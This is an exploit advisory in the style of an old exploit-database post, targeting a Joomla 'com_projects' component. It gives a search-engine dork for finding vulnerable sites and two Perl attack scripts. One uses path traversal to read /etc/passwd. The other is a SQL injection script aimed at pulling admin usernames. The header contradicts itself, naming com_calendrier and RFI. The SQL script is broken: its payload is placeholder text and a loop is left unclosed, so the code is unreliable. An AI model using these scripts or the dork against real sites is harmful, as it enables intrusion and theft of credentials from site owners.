=========================================================
Joomla  Component com_projects LFI & SQL Vulnerability
=========================================================

[+]Title        : Joomla  Component com_calendrier RFI Vulnerability
[+]Author       : jos_ali_joe
[+]Contact      : josalijoe@yahoo.com
[+]Home 	: http://josalijoe.wordpress.com/		


######################################################################## 

Dork		: inurl:index.php?option="com_projects"

######################################################################## 

[ Software Information ]

########################################################################
[+] Vendor : http://www.codegravity.com/
[+] Download : http://www.joomla.org/download.html
[+] version : Joomla 1.5
[+] Vulnerability : LFI and SQL Vulnerability
[+] Dork : com_projects
########################################################################

[+] Exploit: LFI

====================================================================================
http://localhost/index.php?option=com_projects&controller=[ LFI ]
====================================================================================
use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;

print "\t\t########################################################\n\n";
print "\t\t#    Joomla  Component com_projects LFI Vulnerability  #\n\n";
print "\t\t#                        by jos_ali_joe                #\n\n";
print "\t\t########################################################\n\n";


if (!$ARGV[0])
{
print "Usage: perl idc.pl [HOST]\n";
print "Example: perl idc.pl http://localhost/LFI/\n";;
}

else
{

$web=$ARGV[0];
chomp $web;

$iny="agregar_info.php?tabla=../../../../../../../../../../../../../../../../etc/passwd%00";

my $web1=$web.$iny;
print "$web1\n\n";
my $ua = LWP::UserAgent->new;
my $req=HTTP::Request->new(GET=>$web1);
$doc = $ua->request($req)->as_string;

if ($doc=~ /^root/moxis ){
print "Web is vuln\n";
}
else
{
print "Web is not vuln\n";
}

}

####################################################################################

[+] Exploit: SQL

====================================================================================
http://localhost/index.php?option=com_projects&view=project&id=[ SQL ]
====================================================================================

use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//   Joomla Component com_projects SQL Injection Exploit
[//                   Usage: idc.pl [target]
[//                   Example: idc.pl localhost.com
[//                   Vuln&Exp : jos_ali_joe
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/index.php?option=com_projects&view=project&id=";
 
print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);
 
if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}
 
if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }
 
 
$target = "SQL Injection Exploit";
$target = $host.$dir.$file.$target;
 
#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: * /*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /username:(.*?)pass/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

####################################################################################

Thanks :

./kaMtiEz – ibl13Z – Xrobot – tukulesto – R3m1ck – jundab - asickboys- Vyc0d – Yur4kha - XPanda - eL Farhatz

./ArRay – akatsuchi – K4pt3N – Gameover – antitos – yuki – pokeng – ffadill - Alecs - v3n0m - RJ45

./Kiddies – pL4nkt0n – chaer newbie – andriecom – Abu_adam – Petimati - hakz – Virgi – Anharku - a17z a.k.a maho


./Me Family ATeN4 :

./N4ck0 - Aury - TeRRenJr - Rafael - aphe-aphe 

Greets For :

./Devilzc0de crew – Kebumen Cyber – Explore Crew – Indonesian Hacker - Byroe Net - Yogyacarderlink - Hacker Newbie - Jatim Crew - Malang Cyber

My Team : ./Indonesian Coder